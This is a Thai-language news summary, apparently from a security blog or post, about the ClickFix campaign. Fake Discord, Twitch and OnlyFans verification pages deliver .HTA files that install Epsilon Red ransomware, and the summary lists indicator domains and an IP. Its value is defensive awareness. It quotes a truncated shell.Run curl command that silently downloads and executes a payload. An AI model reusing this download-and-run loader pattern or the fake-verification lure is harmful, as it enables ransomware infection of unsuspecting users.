🧠 เรื่องเล่าจากข่าว: “ClickFix” กับกับดักปลอมที่เปิดทางให้ Epsilon Red เข้าระบบคุณ ตั้งแต่เดือนกรกฎาคม 2025 แฮกเกอร์เริ่มใช้หน้าเว็บปลอมที่ดูเหมือนระบบยืนยันตัวตนจากแพลตฟอร์มดัง เช่น Discord, Twitch, Kick และ OnlyFans โดยอ้างว่าเป็น “ClickFix verification” เพื่อหลอกให้ผู้ใช้ดาวน์โหลดไฟล์ .HTA ซึ่งเป็นไฟล์ HTML ที่สามารถรันสคริปต์ได้ใน Windows เมื่อผู้ใช้คลิก “ยืนยันตัวตน” หน้าเว็บจะเปิดอีกหน้าที่แอบรันคำสั่งผ่าน ActiveXObject เช่น WScript.Shell เพื่อดาวน์โหลดไฟล์ ransomware จากเซิร์ฟเวอร์ของแฮกเกอร์ แล้วรันแบบเงียบ ๆ โดยไม่แสดงหน้าต่างใด ๆ เทคนิคนี้ต่างจากเวอร์ชันเก่าที่ใช้การคัดลอกคำสั่งไปยัง clipboard—เพราะเวอร์ชันใหม่นี้รันคำสั่งโดยตรงผ่านเบราว์เซอร์ ทำให้หลบเลี่ยงระบบป้องกันได้ง่ายขึ้น Epsilon Red ransomware จะเข้ารหัสไฟล์ทั้งหมดในเครื่อง และทิ้งข้อความเรียกค่าไถ่ที่มีสไตล์คล้าย REvil แต่มีการปรับปรุงด้านไวยากรณ์เล็กน้อย ✅ Epsilon Red ransomware ถูกแพร่ผ่านไฟล์ .HTA ที่แฝงอยู่ในหน้าเว็บปลอมชื่อ “ClickFix” ➡️ หน้าเว็บปลอมอ้างว่าเป็นระบบยืนยันตัวตนจาก Discord, Twitch, Kick, OnlyFans ➡️ หลอกให้ผู้ใช้คลิกและรันไฟล์ .HTA ที่มีสคริปต์อันตราย ✅ ไฟล์ .HTA ใช้ ActiveXObject เพื่อรันคำสั่งผ่าน Windows Script Host (WSH) ➡️ เช่น shell.Run("cmd /c curl -s -o a.exe ... && a.exe", 0) ➡️ ดาวน์โหลดไฟล์ ransomware และรันแบบเงียบโดยไม่เปิดหน้าต่าง ✅ แฮกเกอร์ใช้เทคนิค social engineering เช่นข้อความยืนยันปลอมเพื่อหลอกผู้ใช้ ➡️ เช่น “Your Verificatification Code Is: PC-19fj5e9i-cje8i3e4” พร้อม typo จงใจให้ดูไม่อันตราย ➡️ ใช้คำสั่ง pause เพื่อให้หน้าต่างค้างไว้ดูเหมือนระบบจริง ✅ Epsilon Red ransomware เข้ารหัสไฟล์ทั้งหมดในเครื่องและทิ้งข้อความเรียกค่าไถ่ ➡️ มีลักษณะคล้าย REvil แต่ไม่มีความเกี่ยวข้องโดยตรง ➡️ ใช้ PowerShell scripts หลายตัวเพื่อเตรียมระบบก่อนเข้ารหัส ✅ โครงสร้างแคมเปญมีการปลอมตัวเป็นบริการยอดนิยมและใช้ IP/โดเมนเฉพาะในการโจมตี ➡️ เช่น twtich[.]cc, capchabot[.]cc และ IP 155.94.155.227:2269 ➡️ มีการใช้ Quasar RAT ร่วมด้วยในบางกรณี ‼️ ผู้ใช้ที่เปิดไฟล์ .HTA หรือใช้ Internet Explorer มีความเสี่ยงสูงมาก ⛔ ActiveX ยังเปิดใช้งานในบางระบบ Windows โดยไม่รู้ตัว ⛔ การรันคำสั่งผ่านเบราว์เซอร์สามารถหลบเลี่ยง SmartScreen และระบบป้องกันทั่วไป ‼️ องค์กรที่อนุญาตให้ใช้ปลั๊กอินเบราว์เซอร์หรือไม่จำกัดการเข้าถึงเว็บมีความเสี่ยงสูง ⛔ ผู้ใช้สามารถเข้าถึงหน้า ClickFix ปลอมและรันไฟล์ได้โดยไม่รู้ตัว ⛔ Endpoint อาจถูกเข้ารหัสและเรียกค่าไถ่ทันที ‼️ การใช้ social engineering แบบปลอมตัวเป็นบริการยอดนิยมทำให้ผู้ใช้ตกหลุมพรางง่ายขึ้น ⛔ ผู้ใช้เชื่อว่าเป็นการยืนยันตัวตนจริงจาก Discord หรือ Twitch ⛔ ไม่สงสัยว่าเป็นการโจมตีเพราะหน้าตาเว็บดูน่าเชื่อถือ ‼️ ระบบป้องกันแบบเดิมไม่สามารถตรวจจับการรันคำสั่งผ่าน ActiveX ได้ทันเวลา ⛔ การรันแบบเงียบไม่แสดงหน้าต่างหรือแจ้งเตือน ⛔ ไฟล์ถูกดาวน์โหลดและรันในหน่วยความจำโดยไม่มีร่องรอย https://hackread.com/onlyfans-discord-clickfix-pages-epsilon-red-ransomware/